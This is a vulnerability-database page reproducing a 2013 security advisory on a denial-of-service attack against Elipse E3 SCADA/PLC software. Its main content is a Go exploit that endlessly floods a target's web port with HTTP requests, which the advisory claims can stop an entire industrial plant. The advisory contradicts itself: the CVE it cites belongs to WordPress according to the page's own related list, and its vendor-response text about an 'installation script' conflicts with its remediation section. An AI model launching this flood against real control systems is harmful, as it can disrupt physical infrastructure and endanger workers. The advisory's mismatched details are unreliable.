Lucene search
K

Elipse E3 Scada PLC Denial Of Service

🗓️ 15 Jul 2014 00:00:00Reported by FirebitsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 54 Views

Elipse E3 Scada PLC Denial Of Service, Extreme vulnerability, Http DoS Requests Flooding Crash Device, Elipse E3 Scada PLC, Vendor: Elipse, Product: Elipse E3, Version affected: 3.x and prior, Credit: Mauro Risonho de Paula Assumpção aka firebits, CVE: CVE-2011-4899, Exploit in Golang, Vendor Response, Remediation Steps, Vendor Communication Timeline

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress <= 3.3.1 Multiple Vulnerabilities
25 Jan 201200:00
zdt
Circl
CVE-2011-4899
25 Jan 201200:00
circl
CVE
CVE-2011-4899
30 Jan 201217:00
cve
Cvelist
CVE-2011-4899
30 Jan 201217:00
cvelist
Debian CVE
CVE-2011-4899
30 Jan 201217:00
debiancve
Exploit DB
WordPress Core 3.3.1 - Multiple Vulnerabilities
25 Jan 201200:00
exploitdb
exploitpack
WordPress 3.3.1 - Multiple Vulnerabilities
25 Jan 201200:00
exploitpack
NVD
CVE-2011-4899
30 Jan 201217:55
nvd
OpenVAS
WordPress 'setup-config.php' Multiple Vulnerabilities
1 Feb 201200:00
openvas
OSV
DEBIAN-CVE-2011-4899
30 Jan 201217:55
osv
Rows per page
`VSLA Security Advisory FIRE-SCADA-DOS-2013-001:  
Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC.  
  
LEVEL: EXTREME  
In our tests authorized by the customer, we can stop the entire plant.  
  
Published: 10/29/2013  
Version: 1.0  
  
Vendor: Elipse (http://www.elipse.com.br/port/index.aspx)  
Product: Elipse E3 (http://www.elipse.com.br/port/e3.aspx)  
Version affected: 3.x and prior  
  
Product description:  
Elipse E3 is a proprietary software.  
The E3 is a system of supervision and control processes designed to meet  
the current requirements of connectivity, flexibility and reliability,  
making it ideal for use in critical systems (SCADA PLC).  
  
Credit: Mauro Risonho de Paula Assumpção aka firebits  
  
Finding 1: Http DoS Requests Flooding Crash Device Vulnerabilities by  
'index.html' page.  
CVE: CVE-2011-4899  
  
Proof of Concept:  
Exploit:  
  
// Exploit Http DoS Request for SCADA ATTACK Elipse 3  
// Mauro Risonho de Paula Assumpção aka firebits  
// [email protected]  
// 29-10-2013 11:42  
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections  
// exploit in Golang (golang.com) C Google  
// Exploit Devel in Fedora:  
// sudo yum install golang -y  
// go run Http-DoS-Request-SCADA-ATTACK-rev1.go  
  
  
// Exploit Http-DoS-Request-SCADA-ATTACK-rev1.go  
package main  
  
import (  
"fmt"  
"io/ioutil"  
"log"  
"net/http"  
)  
  
func main() {  
count := 1  
// fmt.Println ("")  
// fmt.Println (" _____.__ ___. .__ __ ")  
// fmt.Println (" _/ ____\__|______ ____\_ |__ |__|/ |_ ______ ")  
// fmt.Println (" \ __\| \_ __ \_/ __ \| __ \| \ __\/ ___/ ")  
// fmt.Println (" | | | || | \/\ ___/| \_\ \ || | \___ \ ")  
// fmt.Println (" |__| |__||__| \___ >___ /__||__| /____ > ")  
// fmt.Println (" \/ \/ \/ ")  
// fmt.Println (" bits on fire. ")  
fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")  
fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")  
fmt.Println ("29-10-2013 11:42")  
fmt.Println ("[email protected]")  
fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")  
fmt.Println ("20 requests connections per second")  
  
for {  
count += count  
//set ip http://192.168.0.1:1681/index.html ->  
// Elipse 3 http://<ip-elipse4><port listen: default 1681>  
  
fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")  
fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")  
fmt.Println ("29-10-2013 11:42")  
fmt.Println ("[email protected]")  
fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")  
fmt.Println ("20 requests connections")  
  
fmt.Println ("Connected Port 1681...Testing")  
fmt.Println ("Counter Loops: ", count)  
  
res, err := http.Get("http://192.168.0.1:1681/index.html")  
if err != nil {  
log.Fatal(err)  
}  
robots, err := ioutil.ReadAll(res.Body)  
res.Body.Close()  
if err != nil {  
log.Fatal(err)  
}  
fmt.Printf("%s", robots)  
}  
}  
  
Crash 20 Requests Paralels  
  
Vendor Response:  
Due to the fact that the component in question is an installation script,  
the vendor has stated that the attack surface is too small to warrant  
a fix:  
  
"We would be possible for us to communicate the details of the test, so  
we can arrange a hotfix."  
  
VSLA Virtual Security Labs Anywhere recommends installing the hotfix,  
hardware/software to be putting in a production environment.  
  
Remediation Steps:  
No official fix for these issues will be released for the Elipse.  
However, administrators can mitigate these issues defining rules within  
a web application firewall (WAF) solution.  
  
Vendor Communication Timeline:  
10/24/2013 - Vulnerability disclosed  
10/29/2013 - Confirmation to release vulnerabilities  
? - Advisory published  
  
  
References  
1. http://www.elipse.com.br/port/e3.aspx  
  
  
About VSLA Virtual Security Labs Anywhere:  
VSLA Virtual Security Labs Anywhere is a research blog on security  
the information.  
firebitsbr.wordpress.com  
  
Disclaimer:  
The information provided in this advisory is provided "as is" without  
warranty of any kind. VSLA Virtual Security Labs Anywhere disclaims all  
warranties, either express or implied, including the warranties of  
merchantability and fitness for a particular purpose. In no event shall  
VSLA Virtual Security Labs Anywhere or its suppliers be liable  
for any damages whatsoever including direct, indirect, incidental,  
consequential, loss of business profits or special damages, even if  
VSLA Virtual Security Labs Anywhere or its suppliers have been advised  
of the possibility of such damages. Some states do not allow the  
exclusion or limitation of liability for consequential or incidental  
damages so the foregoing limitation may not apply.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation